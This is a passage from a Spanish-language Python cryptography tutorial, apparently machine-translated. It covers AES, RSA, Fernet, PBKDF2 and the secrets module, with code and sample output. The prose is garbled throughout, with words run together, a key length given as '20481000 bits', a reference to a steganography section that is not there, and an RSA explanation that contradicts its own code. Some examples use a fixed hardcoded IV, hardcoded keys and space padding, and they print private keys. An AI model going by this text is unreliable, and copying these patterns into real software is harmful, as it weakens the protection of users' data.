encryptor = AES.new(key.encode("utf8"), AES.MODE_CBC, 'This
is an IV-12'.encode("utf8"))
decryptor = AES.new(key.encode("utf8"), AES.MODE_CBC, 'This
is an IV-12'.encode("utf8"))
def aes_encrypt(plaintext):
ciphertext = encryptor.encrypt(plaintext)
return ciphertext
def aes_decrypt(ciphertext):
plaintext = decryptor.decrypt(ciphertext)
return plaintext
encrypted = aes_encrypt('This is the secret message
'.encode("utf8"))
decrypted = aes_decrypt(encrypted)
print("Encrypted message :", encrypted)
print("Decrypted message :", decrypted.decode())
El script anterior encripta los datos usando AES, por lo que lo
primero que hace es importar
el AESmódulo. AES.new()representa el constructor del método
para inicializar el algoritmo AES y toma tres parámetros: la
clave de encriptación, el modo de encriptación y el IV.
Para cifrarpara un mensaje, utilizamos el encrypt()método en el
mensaje de texto simple, y para descifrarlo, utilizamos
el decrypt()método en el texto cifrado.
$ python pycryptodome_AES_CBC.py
Key: WqEMbj2ijcHAeZAZ
Encrypted message : b'\xc7\xe5E\x00\x0e\x88\x91\xe6\xc4$\
xf5H\xa9C!\xa63\x1c\xc01\xf9Pm\xca\x85Q\x10\x11\x8e\x02\
xf6\x83'
Decrypted message : This is the secret message
Podemos mejorar el script anterior generando el vector de
inicialización mediante el Randomsubmódulo y la clave
mediante el PBKDF2submódulo, lo que permite generar una
clave aleatoria a partir de un número aleatorio llamado salt, el
tamaño de la clave y el número de iteraciones. Puede
encontrar el siguiente código en
el AES_encrypt_decrypt_PBKDF2.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto import Random
# key has to be 16, 24 or 32 bytes long
key="secret-key-12345"
iterations = 10000
key_size = 16
salt = Random.new().read(key_size)
iv = Random.new().read(AES.block_size)
derived_key = PBKDF2(key, salt, key_size, iterations)
encrypt_AES = AES.new(derived_key, AES.MODE_CBC, iv)
# Fill with spaces the user until 32 characters
message = "This is the secret message ".encode("utf8")
ciphertext = encrypt_AES.encrypt(message)
print("Cipher text: " , ciphertext)
decrypt_AES = AES.new(derived_key, AES.MODE_CBC, iv)
message_decrypted = decrypt_AES.decrypt(ciphertext)
print("Decrypted text: ", message_decrypted.strip().decode())
En el código anterior, usamos el PBKDF2algoritmo para generar
una clave aleatoria que usaremos para cifrar y descifrar.
La ciphertextvariable se refiere al resultado de los datos
cifrados y message_decryptedal resultado de los datos
descifrados.
PodemosVéase también que el PBKDF2algoritmo requiere una
sal alternativa y el número de iteraciones. El valor aleatorio de
la sal evitará un ataque de fuerza bruta contra la clave y debe
almacenarse junto con el hash de la contraseña. Se
recomienda un valor de sal por contraseña. En cuanto al
número de iteraciones, se recomienda un número alto para
dificultar el proceso de descifrado tras un posible ataque.
Otra posibilidad que ofrece el algoritmo AES es el cifrado de
archivos mediante bloques de datos, también conocidos como
fragmentos o chunks.
Cifrado de archivos con AES
AESEl cifrado requiere que cada unoEl bloque tiene un tamaño
múltiplo de 16 bytes. Por lo tanto, leemos, ciframos y
escribimos los datos en fragmentos. El tamaño del fragmento
debe ser múltiplo de 16. El siguiente script cifra y descifra un
archivo seleccionado por el usuario.
Puede encontrar el siguiente código en
el AES_encrypt_decrypt_file.pyarchivo dentro de
la pycryptodomecarpeta:
def encrypt_file(key, filename):
chunk_size = 64*1024
output_filename = filename + '.encrypted'
# Random Initialization vector
iv = Random.new().read(AES.block_size)
#create the encryption cipher
encryptor = AES.new(key, AES.MODE_CBC, iv)
#Determine the size of the file
filesize = os.path.getsize(filename)
#Open the output file and write the size of the file.
#We use the struct package for the purpose.
with open(filename, 'rb') as inputfile:
with open(output_filename, 'wb') as outputfile:
outputfile.write(struct.pack('<Q', filesize))
outputfile.write(iv)
while True:
chunk = inputfile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += bytes(' ','utf-8') * (16 - len(chunk) % 16)
outputfile.write(encryptor.encrypt(chunk))
En elguión anterior, somosSe define la función que cifra un
archivo mediante el algoritmo AES. Primero, inicializamos
nuestro vector de inicialización y el método de cifrado AES.
Luego, leemos el archivo usando bloques múltiplos de 16
bytes, con el objetivo de cifrarlo fragmento a fragmento.
Para descifrar, debemos revertir el proceso anterior para poder
descifrar el archivo usando AES:
def decrypt_file(key, filename):
chunk_size = 64*1024
output_filename = os.path.splitext(filename)[0]
#open the encrypted file and read the file size and the
initialization vector.
#The IV is required for creating the cipher.
with open(filename, 'rb') as infile:
origsize = struct.unpack('<Q',
infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
#create the cipher using the key and the IV.
decryptor = AES.new(key, AES.MODE_CBC, iv)
#We also write the decrypted data to a verification file,
#so we can check the results of the encryption
#and decryption by comparing with the original file.
with open(output_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(origsize)
En el script anterior, definimos la función que descifra un
archivo mediante el algoritmo AES. Primero, abrimos el archivo
cifrado y leemos su tamaño y el vector de inicialización.
Después, escribimos los datos descifrados en un archivo de
verificación para comprobar los resultados del cifrado.
El siguiente código representa nuestra función principal, que
ofrece al usuario la posibilidad de cifrar o descifrar el contenido
de un archivo:
import getpass
def main():
choice = input("do you want to (E)ncrypt or (D)ecrypt?: ")
if choice == 'E':
filename = input('file to encrypt: ')
password = getpass.getpass()
encrypt_file(getKey(password.encode("utf8")), filename)
print('done.')
elif choice == 'D':
filename = input('file to decrypt: ')
password = getpass.getpass()
decrypt_file(getKey(password.encode("utf8")), filename)
print('done.')
else:
print('no option selected.')
if __name__ == "__main__":
main()
Esta será la salida del script anterior, donde tenemos opciones
para cifrar y descifrar un archivo ingresado por el usuario:
$ python AES_encrypt_decrypt_file.py
do you want to (E)ncrypt or (D)ecrypt?: E
file to encrypt: file.txt
password:
done.
Elsalida del anteriorEl script cuando el usuario está cifrando un
archivo dará como resultado un archivo
llamado file.txt.encrypted, que contiene el mismo contenido
que el archivo original, pero la información no es legible.
Continuaremos analizando diferentes algoritmos de cifrado, por
ejemplo, el algoritmo RSA, que utiliza un esquema de clave
pública asimétrico para el cifrado y descifrado.
Generación de firmas RSA mediante pycryptodome
RSA es unaSistema criptográfico de clave pública desarrollado
en 1979, ampliamente utilizado para proteger la transmisión de
datos. La criptografía asimétrica tiene dos usos principales:
autenticación y confidencialidad.
Al utilizar asimétricocriptografía, mensajesPuede firmarse con
una clave privada, y cualquier persona con la clave pública
puede verificar que el mensaje fue creado por alguien que
posee la clave privada correspondiente. Esto puede combinarse
con un sistema de verificación de identidad para determinar
qué entidad posee esa clave privada, lo que proporciona
autenticación.
La ventaja de la criptografía asimétrica o de clave pública es
que también proporciona un método para garantizar la
autenticidad del mensaje. En el caso de las firmas de datos, el
emisor utiliza su clave privada para firmar los datos y el
receptor utiliza la clave pública del emisor para verificarlos.
A continuaciónPor ejemplo, estamos encriptando yDescifrado
mediante el algoritmo RSA mediante las claves pública y
privada. Puede encontrar el siguiente código en
el RSA_generate_pair_keys.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.Signature import PKCS1_v1_5
def generate(bit_size):
keys = RSA.generate(bit_size)
return keys
def encrypt(public_key, data):
cipher = PKCS1_OAEP.new(public_key)
return cipher.encrypt(data)
def decrypt(private_key, data):
cipher = PKCS1_OAEP.new(private_key)
return cipher.decrypt(data)
if __name__ == "__main__":
keys = generate(2048)
El primer paso para aplicar RSA es generar el par de claves
pública y privada. En el código anterior, generamos el par de
claves mediante el generate()método RSA, pasando el tamaño
de la clave como parámetro. Se recomienda una longitud de al
menos 20481000 bits.
A continuación, exportamos la clave pública utilizando
el publickey()método y utilizamos el decode()método para
exportar la clave pública en formato UTF-8. PEMes un tipo de
codificación basado en texto que se utiliza a menudo si desea
compartir mediante un servicio como el correo electrónico:
print("Public key:")
print(keys.publickey().export_key('PEM').decode(), end='\n\
n')
with open("public.key",'wb') as file:
file.write(keys.publickey().export_key())
print("Private Key:")
print(keys.export_key('PEM').decode())
with open("private.key",'wb') as file:
file.write(keys.export_key('PEM'))
Podemos usar RSA para crear una firma de mensaje. Una firma
válida solo se puede generar con acceso a la clave RSA
privada, por lo que la validación es posible con la clave pública
correspondiente:
text2cipher = "text2cipher".encode("utf8")
hasher = SHA256.new(text2cipher)
signer = PKCS1_v1_5.new(keys)
signature = signer.sign(hasher)
verifier = PKCS1_v1_5.new(keys)
if verifier.verify(hasher, signature):
print('The signature is valid!')
else:
print('The message was signed with the wrong private key
or modified')
En elcódigo anterior, estamos ejecutando unVerificación de
firma que funciona con la clave pública. Finalmente, usamos la
clave pública para cifrar los datos y la clave privada para
descifrarlos:
encrypted_data = encrypt(keys.publickey(),text2cipher)
print("Text encrypted:",encrypted_data)
decrypted_data = decrypt(keys,encrypted_data)
print("Text Decrypted:",decrypted_data.decode())
Esta será la salida del script anterior donde estamos generando
las claves públicas y privadas:
$ python RSA_generate_pair_keys.py
Public key:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ
8AMIIBCgKCAQEAxYLEDHfAoqZj8i3k85pQ
D3j96KFL4iQp0IfQ68nCHlacaZORc4dWTBrLsKtyk1oqyfPqN0Kdr
E/a3TXecG2u
nqYozmwCTm+6VhskmvKqtP2z4Si1X1vqB56/
FKWKU0H8aaLAvuTqCxId2kQJLj/g
ZdI0WtT8lkjYjJqzchf9iXlkPJIEw6S
HH0rr0fukyms10AowafSlWbQUnwHQ0a0z
5YWiOqWwoOmN5sRuvNHj4IWS0QURsZixL
Tb0bfsAzAgluQyc+fYuvmZpPyAiIj0a
v8ED8nRPNozt9qZn9kSn+4pd6w0JYWxXwGfIKiT9EQ/vP/
fioOldJIQiX+caJdqV
dQIDAQAB
-----END PUBLIC KEY-----
Private Key:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxYLEDHfAoqZj8i3k8
5pQD3j96KFL4iQp0IfQ68nCHlacaZOR
c4dWTBrLsKtyk1oqyfPqN0KdrE/
a3TXecG2unqYozmwCTm+6VhskmvKqtP2z4Si
-----END RSA PRIVATE KEY-----
The signature is valid!
Text encrypted:
b"\x1c\x13\xf5\xf3\x9e\xa3\xcc\xfa\xb9\xaf\x80($\x0b\xea.\
xf2s/\x95RbF\x99BR\x11\xab\xf0\x85\xc4gIu\x0e\x9b\x97\x1e\
x81\xf5\x826\xc4\x8f\xdfU\xcd28eB\x0f%\xf3X'\xb8\xb1B\xe7\
xdf\x02\xd6\xc4\xbfvf\x87\x1e\x8b\xbcW0]\x98\xd6\\\x8e\
xd9M\xb9g\xb4\x05\x08\x98V0\x9b\xddU\xa6\xd3\xee\
xf8Seg+Op\xd6fj\xd1\x9duT\xf5\xca\x88\xb2q&\xc1(*D\xda\
x18\xcd\xe5Ic/\xf5'\xa1\xacEriF\xb1\xdb\x12\x14\x8e\x93D\xa8\
xc5\xc5\xea\xac\xcd;\x0fY\xc0O\xcd\xce\xcc)\xaev\x8f_\x13 \
xb6\xe9\x99\x11\xf1\x96\x89\\\xfd\xbd\xd9\xcaQ4!j\x07\xd6\
xd7@l\xf1\x16\xc6\xc6w\xce\xb1\x17\xcf\xa4\xb8\xa8\xd1\x06'\
xdb\x85\x1e\xa8\x93\xecNL\xffK\xb8hz\xac\xa3\xeb\x92\x101\
x97\xd8\xa9\xf9U\xd9\Xec\x1f)\xbf47\xc4v\xe9\xf7o0\xb8\xedT\
xff\xa1x ;\x028W\x894YA\xe8\xc4\xbe\x97\xd1\x97\x07"
Text Decrypted: text2cipher
En la salida anterior, podemos ver la generación de claves
públicas y privadas con RSA y la validación de la firma.
En elEn el siguiente ejemplo, estamos utilizandoCriptografía
asimétrica para generar claves públicas y privadas, y para el
cifrado y descifrado, utilizamos el PKCS1_OAEPpaquete
del Crypto.PublicKeymódulo. Puede encontrar el siguiente
código en el pycryptodome_RSA.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
import sys
bit_size = int(sys.argv[1])
key_format = sys.argv[2]
message = sys.argv[3]
key = RSA.generate(bit_size)
print("Generating Public Key....")
publicKey = key.publickey().exportKey(key_format)
print("Generating Private Key....")
privateKey = key.exportKey(key_format)
message = str.encode(message)
RSApublicKey = RSA.importKey(publicKey)
OAEP_cipher = PKCS1_OAEP.new(RSApublicKey)
encryptedMsg = OAEP_cipher.encrypt(message)
print('Encrypted text:', encryptedMsg)
RSAprivateKey = RSA.importKey(privateKey)
OAEP_cipher = PKCS1_OAEP.new(RSAprivateKey)
decryptedMsg = OAEP_cipher.decrypt(encryptedMsg)
print('The original text:', decryptedMsg.decode())
En el código anterior, aplicamos cifrado y descifrado
utilizando PKCS1_OAEPel paquete de Python, que es un
esquema de relleno de cifrado asimétrico óptimo publicado por
RSA y es más seguro que el cifrado RSA primitivo simple.
Para ejecutar el esquema OAEP, primero debemos generar
el PKCS1OAEP_Cipherobjeto y luego llamar a los
métodos PKCS1OAEP_Cipher.encrypt()y PKCS1OAEP_Cipher.decr
ypt()para cifrar o descifrar el texto usando este esquema. Si el
texto de entrada es de tipo cadena, primero debemos
convertirlo a una cadena de bytes.
Estos resultados serán la salida del script anterior donde
estamos generando las claves públicas y privadas, cifrando el
mensaje con la clave privada y descifrando el mensaje con la
clave pública.
Para ejecutarEl guión anterior, necesitamosPase el tamaño de
la clave como primer parámetro (por ejemplo, 2048 bits) y el
formato de archivo de las claves pública y privada como
segundo parámetro. El tercer parámetro corresponde al
mensaje que se va a cifrar.
$ python pycryptodome_RSA.py 2048 PEM "this is the secret
message"
Generating Public Key....
Generating Private Key....
Encrypted text: b't\x8c\x99du7\xdb\xea\xbbB\xd2\xdc\xb1\xda
%\xe3\x05I[LO\xa7^\xe7\x12\xaaI\xe6\xca\n\x16(\xb0^\xa6*\
xcdh\x99\xee\xd0\x83\xa9\xb9\xdcyas\x88!b:\xe1\xb8\xe1\x92\
xd5\xb0Z\xf7\xbbq0\x7f.~UV\xc2\x8bRR\xc5\xa4.9\n\xeb\xca\
x0c\x17\x9c7~I\xeag\x12$|kH\xa1(\x9b\xbd\x9b!\x88\xb7pV!\
x8e\r\x95\x03\xc8\xff1\x8f#e\x8e\xa6HL%f\xe6\xa9^\xf1Y\xa8\
xad\x9dh\xfc\x0e\xf9\x19\x9a6\xe1x\xd9\xd2\x16\xca\x8d\
xcd8\x16\xeebO\xe4\x97_\xee\x96S^\x83\xa0\x80(\x93\xfb\\\
x9dsd\xd7\xf6\xf4\xcc\xc9\xc2G'\x96\x83\x07z\xe2"\xc3\x00\
xc9\x10\x03k\x13X\xf9\xdb]\n\xdc\xe6\xb3**\xf3\xdf\xc8\r\
x99N\xcb[!\xb0&\xf4\xd2\x10!\x92\x80k|\xf9\x9d\xeb8\xe6\
xd0E\x94(\x16\xae\x17\xe0\x08q\xfe[\xcd\x9f\xc8\x9c\xa3?\
xae\x05w\x0eM\xd9\xe9\xbe\n\xc5\x80,\x9a\x0b\x98\xea\xb7e\
xe8'
The original text: this is the secret message
Ahora que hemos revisado el pycryptodomemódulo, vamos a
analizarlo cryptographycomo una alternativa para cifrar y
descifrar datos.
Cifrado y descifrado de información con criptografía
En esta sección revisaremos el cryptographymódulo para
encriptar y desencriptar datos, con algoritmos como AES.
Introducción al módulo de criptografía
La criptografía ( https://pypi.org/project/cryptography )
PythonEl módulo está disponibleEn el repositorio de
PyPI. pipPara instalarlo, use:
$ pip install cryptography
El principalLa ventaja que cryptographyofrece sobre otros
módulos de criptografía es pycryptodomeque ofrece un
rendimiento superior a la hora de realizar operaciones
criptográficas.
Este módulo incluye interfaces de alto y bajo nivel para
algoritmos criptográficos comunes, como cifrados simétricos,
resúmenes de mensajes y funciones de derivación de claves.
Por ejemplo, podemos usar cifrado simétrico con
este fernetpaquete.
Cifrado simétrico con el paquete fernet
cryptographyesaPaquete de Python que permite el cifrado de
clave simétrica. Cifrado de clave simétrica.significa que
usamos la misma clave para el proceso de cifrado y descifrado.
El cifrado de clave simétrica es una forma sencilla de cifrar una
cadena. La única desventaja es que es comparativamente
menos seguro; por lo tanto, cualquiera con acceso a la clave
puede leer el texto cifrado.
El fernet es unImplementación del cifrado simétrico que
garantiza que un mensaje cifrado no pueda manipularse ni
leerse sin la clave. Para más informaciónSobre esta clase,
consulte la documentación
oficial: https://cryptography.io/en/latest/fernet .
Para generarLa clave, podemos usar el generate_key()método
desde la interfaz de Fernet. El siguiente código usa
el cryptographypaqueteFunciones para cifrar una cadena en
Python. Puedes encontrar el siguiente código en
el encrypt_decrypt_message.pyarchivo dentro de
la cryptographycarpeta:
from cryptography.fernet import Fernet
key = Fernet.generate_key()
cipher_suite = Fernet(key)
print("Key "+str(cipher_suite))
message = "Secret message".encode("utf8")
cipher_text = cipher_suite.encrypt(message)
plain_text = cipher_suite.decrypt(cipher_text)
print("Cipher text: "+str(cipher_text.decode()))
print("Plain text: "+str(plain_text.decode()))
Esta es la salida del script anterior:
$ python encrypt_decrypt_message.py
Key <cryptography.fernet.Fernet object at 0x7f29a2bf37b8>
Cipher text:
gAAAAABfcglbXHiFG4VIGuH7tnI4dwXBMTi22TmF7Kpp9lcPyvqjb
vhQN Va2EF8GDrothluhwp3M8nBB6kd4MBXD7aUeJuFtwA==
Plain text: Secret message
En el código anterior, importamos Fernet desde
el cryptography.fernetmódulo. A continuación, generamos una
clave de cifrado que se utilizará tanto para el cifrado como
para el descifrado. FernetSe instancia la clase con la clave de
cifrado y la cadena se cifra creando una instancia de esta
clase. Finalmente, se descifra utilizando la instancia de
la Fernetclase.
Podemos mejorar el script anterior añadiendo la posibilidad de
guardar la clave en un archivo para usarla tanto en el cifrado
como en el descifrado. Para ello, necesitamos importar
la Fernetclase y empezar a generar la clave necesaria para el
cifrado/descifrado simétrico. Puedes encontrar el siguiente
código en el encrypt_decrypt_message_secret_key.pyarchivo
dentro de la cryptographycarpeta:
from cryptography.fernet import Fernet
def generate_key():
key = Fernet.generate_key()
with open("secret.key", "wb") as key_file:
key_file.write(key)
def load_key():
return open("secret.key", "rb").read()
En el código anterior, definimos la generate_key()función que
genera una clave y la guarda en el secret.keyarchivo. La
segunda función, load_key(), lee la clave generada
previamente del secret.keyarchivo:
def encrypt_message(message):
key = load_key()
encoded_message = message.encode()
fernet = Fernet(key)
encrypted_message = fernet.encrypt(encoded_message)
return encrypted_message
En elcódigo anterior, estamos
definiendola encrypt_message()función que cifra un mensaje
pasado como parámetro utilizando el Fernetobjeto y
el encrypt()método de ese objeto.
La segunda función descifra un mensaje cifrado. Para
descifrarlo, simplemente llamamos al decrypt()método desde
el Fernetobjeto.
def decrypt_message(encrypted_message):
key = load_key()
fernet = Fernet(key)
decrypted_message = fernet.decrypt(encrypted_message)
return decrypted_message.decode()
El mainprograma simplemente llama a las funciones anteriores
con un mensaje codificado para probar
los métodos encrypty .decrypt
if __name__ == "__main__":
generate_key()
message_encrypted = encrypt_message("encrypt this
message")
print('Message encrypted:', message_encrypted)
print('Message
decrypted:',decrypt_message(message_encrypted))
$ python encrypt_decrypt_message_secret_key.py
Message encrypted:
b'gAAAAABfchiQjdvMaoChmmIYE4_IgpN2e66c8fHxEz_0tUhY6Tj
K8zoMbXEM1sXFiBtPR1aV2Yd5FIcWuPuRsT
fsGd8Au2fp_w9PCGVhteBIjMBhFFoVaQw='
Message decrypted: encrypt this message
Podemossecret.keyutilizar el archivo generado
previamentePara cifrar el contenido de un archivo
llamado file.txta [nombre del archivo] file_encrypted.txt. Con la
misma clave, podríamos descifrar el contenido de este archivo.
Puedes encontrar el siguiente código en
el encrypt_decrypt_content_file.pyarchivo dentro de
la cryptographycarpeta:
from cryptography.fernet import Fernet
import os
def load_key():
return open("secret.key", "rb").read()
def encrypt_file(file, key):
i = Fernet(key)
with open(file, "rb") as myfile:
file_data = myfile.read()
data = i.encrypt(file_data)
print("Data encrypted:",data.decode())
with open("file_encrypted.txt", "wb") as file:
file.write(data)
def decrypt_file(file_encrypted, key):
i = Fernet(key)
with open(file_encrypted, "rb") as myfile:
file_data = myfile.read()
data = i.decrypt(file_data)
print("Data decrypted:",data.decode())
if __name__ == '__main__':
file = 'file.txt'
file_encrypted = 'file_encrypted.txt'
key = load_key()
encrypt_file(file, key)
decrypt_file(file_encrypted, key)
Al ejecutar el script anterior, podemos ver como se genera un
nuevo archivo con el contenido cifrado de file.txt.
$ python encrypt_decrypt_content_file.py
Data encrypted: gAAAAABkNHgLoKFufI0WXKPjI_zPQ-
_mnOwWvAjpnQJ15RSMHVz1jBxD5_IsTcget0sJ5eH0siwCY1o46I2
0CFrzHvRd0_QFpQ==
Data decrypted: file content
OtroLa forma de usar Fernet es pasar una clave en
el initparámetroconstructor. Esta clave se puede derivar de
uncontraseña utilizando un algoritmo llamado PBKDF2 , que
proporciona la funcionalidad para generar la contraseña a
través de una función de derivación de clave.
Cifrado con el submódulo PBKDF2
La función de derivación de clave basada en contraseña
2 ( PBKDF2 ) esSe suele utilizar para derivar una clave
criptográfica a partir de una contraseña. Más información sobre
las funciones de derivación de claves.se puede encontrar
en https://cryptography.io/en/latest/hazmat/primitives/k
ey-derivation-functions .
En el siguiente ejemplo, usamos esta función para generar una
clave a partir de una contraseña y usamos esa clave para crear
el Fernetobjeto que usaremos para cifrar y descifrar los datos.
En vías dePara cifrar y descifrar, podemos usar el Fernetobjeto
inicializado con la clave generada mediante
el PBKDF2HMACsubmódulo. El siguiente código se encuentra
en el encrypt_decrypt_PBKDF2HMAC.pyarchivo de
la cryptographycarpeta:
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import
PBKDF2HMAC
import base64
import os
password = "password".encode("utf8")
salt = os.urandom(16)
pbkdf =
PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt
,iterations=100000,backend=default_backend())
key = pbkdf.derive(password)
pbkdf =
PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt
,iterations=100000,backend=default_backend())
pbkdf.verify(password, key)
key = base64.urlsafe_b64encode(key)
fernet = Fernet(key)
token = fernet.encrypt("Secret message".encode("utf8"))
print("Token: "+str(token))
print("Message: "+str(fernet.decrypt(token).decode()))
En elEn el código anterior, usamos el PBKDF2HMACsubmódulo
para generar una clave a partir de una contraseña. Usamos
el verify()método del pbkdfobjeto, que comprueba si al derivar
una nueva clave a partir de la clave proporcionada se genera la
misma clave y genera una excepción si no coinciden.
Cifrado simétrico con el paquete de cifrados
El cipherspaquetedesde el cryptographymódulo
proporcionauna clase para cifrado simétrico con
la cryptography.hazmat.primitives.ciphers.Cipherclase. CipherL
os objetos combinan un algoritmo como AES conun modo,
talcomo CBC o CTR .
En el siguiente script, podemos ver un ejemplo de cifrado y
descifrado de contenido con el algoritmo AES. Puede encontrar
el siguiente código en el encrypt_decrypt_AES.pyarchivo dentro
de la cryptographycarpeta:
import os
from cryptography.hazmat.primitives.ciphers import Cipher,
algorithms, modes
from cryptography.hazmat.backends import default_backend
backend = default_backend()
key = os.urandom(32)
iv = os.urandom(16)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv),
backend=backend)
encryptor = cipher.encryptor()
print(encryptor)
message_encrypted = encryptor.update("a secret
message".encode("utf8"))
print("Cipher text: "+str(message_encrypted))
cipher_text = message_encrypted + encryptor.finalize()
decryptor = cipher.decryptor()
print("Plain text: "+str(decryptor.update(cipher_text).decode()))
En el código anterior, estamos generando un cipherobjeto
utilizando el algoritmo AES con una clave generada
aleatoriamente y el modo CBC.
$ python encrypt_decrypt_AES.py
<cryptography.hazmat.primitives.ciphers.base._CipherContext
object at 0x7fe70b6ce630>
Cipher text: b'&;\x91b\xb3\xd7]\x88U[\x1e\xf6j\xf4h\x04'
Plain text: a secret message
En la salida anterior, podemos ver el cipherobjeto generado
utilizado para cifrar y descifrar el mensaje secreto.
En el siguiente script, podemos ver un ejemplo de cifrado y
luego descifrado de contenido.con archivos que contienen
información privada y públicaClaves. Puedes encontrar el
siguiente código en el cipher_with_private_key.pyarchivo dentro
de la cryptographycarpeta:
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import
padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
plaintext = b'a secret message'
padding_config =
padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256(
)),algorithm=hashes.SHA256(),label=None)
with open('private_key.pem', 'rb') as private_key:
private_key =
serialization.load_pem_private_key(private_key.read(),password
=None,backend=default_backend())
with open('public_key.pem', 'rb') as public_key:
public_key =
serialization.load_pem_public_key(public_key.read(),backend=d
efault_backend())
ciphertext_with_public_key =
public_key.encrypt(plaintext=plaintext,padding=padding_confi
g)
decrypted_with_private_key =
private_key.decrypt(ciphertext=ciphertext_with_public_key,pad
ding=padding_config)
print("Encrypted message:",ciphertext_with_public_key)
print("Decrypted message:",decrypted_with_private_key)
print("Plain text:",plaintext.decode())
print(decrypted_with_private_key == plaintext)
$ python cipher_with_private_key.py
Encrypted message: b"\xab\x14o\xd3\xc3JJ@G\x07V~\x96\
xe5k\xe3*\xe1\xa1\xe1\xdd\xed\x1e8\xe6\xb2U\xa6f~\xdd\
xa8R,\x83\xf5\xaa\xc0\xac\xd9\x89\xbec \x88\xb5W\x06\xc7\
xaa7\xfc5\xdf5o\xdcR!\xae\x12\xc1\xb9\x19\x96\xee\xa3\xca\
x93\x85\x82\x9e\xc5'\x80\x8e\x16]\x9f\xc5\x07fU\x10\x1e\xab\
x08\r\xa2\x8frW\x95J\xb8\xed(\xa17\xca\xaek\xcf\xef\xb9\x93l\
x8az%O\xf9\xa7\x9dQ\x87\xfb\x8de\xb8\xa5\xcd\x c2<\xa2\r\
xfd\x845\xf0\xc1\x82\xddh\x1f\xa7\xe8\xc9\x17\xa1\xad\xc2\
xab\xe5\xe7F\xd8~.m\x1e\xb6\x93~\xb15\x1f\xde\xce\xede*\
x1a4\xa5\x9e\xc5\x8cL\xf1\xf2\xe2\x96\x07\x1d\x88\xe2Yj\x83\
xc4\xd4\xed\x0c\xf3\xa8\xd4x/\x97e\x97\x1f\xdc<\xafy\x1e\
xf4\\\xb1\x1c\xce\xbd\xb7X\x85j\xa6:\xc4j\x84_\xcel\x91F\xf3\
xf0\xfa\x92\xccg\nEe\xf1\x14\x07WR\xc1\x04\xb18\xc2aC:\x90\
x85\x11\xe5^h\xcdR*\xf5\x84E]2<\x05w\xf4\xe9<'\xdb\xf4\
x9dd\xa3\xa5\x85\\\xd3R\xbcv\xce0f\xb3Cd3d\x8a>;D\x8a\xe8\
x8b\x17\xc6CG\x11\\<\xe0\x83\x95v\xdd\xdd\xd9GE^c\xfa\
xeb\xe3\xc0\xf6\xa2\xc1\xd8\x04\xc1w\x7f\xbe\xd4\xe9\x1d\
xbe+S\x1e\x0c\xe4\xa3Z\x8f\xd1\xbc\x1dn\xb6Y\xfd\xc9\xeaL\
xdcM\xdb#T;\x83\xc8\x875\x9cp\x0e\xd2\x80\xa0\xe5\xa2\
x9eQ\x1beSRL\xe7\\\xe0\xc7X\xcd\x0b\xfau0\x9e\xc2-$t\x82\
x1c\xbd"
Decrypted message: b'a secret message'
Plain text: a secret message
True
DespuésAnalizando las posibilidades que ofreceEn
el cryptographymódulo continuaremos con otro medio de
realizar criptografía, como es la esteganografía, y lo que Python
ofrece al respecto.
Ahora que has aprendido a ocultar contenido dentro de una
imagen con esteganografía, aprenderás a generar claves y
contraseñas de forma segura con los módulos secretsy .hashlib
Generar claves de forma segura con los módulos secretos y
hashlib
En esta sección vamos a revisar los principales módulos que
proporciona Python para generar claves y contraseñas de
forma segura.
Generar claves de forma segura con el módulo de
secretos
El secretsmóduloSe utiliza para generar números aleatorios
criptográficamente fuertes, adecuados para gestionar datos
como contraseñas, autenticación de usuarios, tokens de
seguridad y secretos relacionados.
En general, el uso de números aleatorios es común en diversas
aplicaciones de computación científica y criptográfica. Con la
ayuda de este secretsmódulo, podemos generar datos
aleatorios fiables que pueden utilizarse en operaciones
criptográficas.
El secretsmódulo derivaSu implementación a partir delos
métodos os.urandom()y SystemRandom(), que interactúan con
el sistema operativo para garantizar la aleatoriedad
criptográfica y pueden ayudarle a realizar las siguientes tareas:
Genere tokens aleatorios para aplicaciones de seguridad.
Crea contraseñas seguras.
Generar tokens para URL seguras.
Las siguientes instrucciones generan un número aleatorio en
formato hexadecimal:
>>> import secrets
>>> secrets.token_hex(20)
'ccaf5c9a22e854856d0c5b1b96c81e851bafb288'
El secretsmódulo nos permite generar una contraseña aleatoria
y segura para usarla como token o clave de cifrado. En el
siguiente ejemplo, generamos una contraseña aleatoria y
criptográficamente segura. Puede encontrar el siguiente código
en el generate_password.pyarchivo dentro de
la secretscarpeta:
from secrets import choice
from string import ascii_letters, ascii_uppercase, digits
characters = ascii_letters + ascii_uppercase + digits
length = 16
random_password= ''.join(choice(characters) for character in
range(length))
print("The password generated is:", random_password)
En el código anterior, usamos el stringmódulo, que contiene
constantes que representan las letras minúsculas (ubicadas
en ) ascii_letters, las mayúsculas (ubicadas en ascii_uppercase)
y los dígitos (ubicados en ) digits. Con esto en mente, podemos
concatenar estos valores y crear una cadena que contenga
estos caracteres concatenados.
Definimos una longitud, y la parte importante es donde usamos
la joinfunción, que une una cadena vacía ''con un carácter que
se elige de un rango determinado por la longitud especificada,
eligiendo un carácter aleatorio 16 veces.
Lo siguiente puede ser la ejecución del script anterior, donde
estamos generando una contraseña de 16 caracteres de
longitud combinando caracteres y números:
$ python generate_password.py
The password generated is: VYiRK2ZVoxOC3HJm
En el siguiente ejemplo, creamos una contraseña alfanumérica
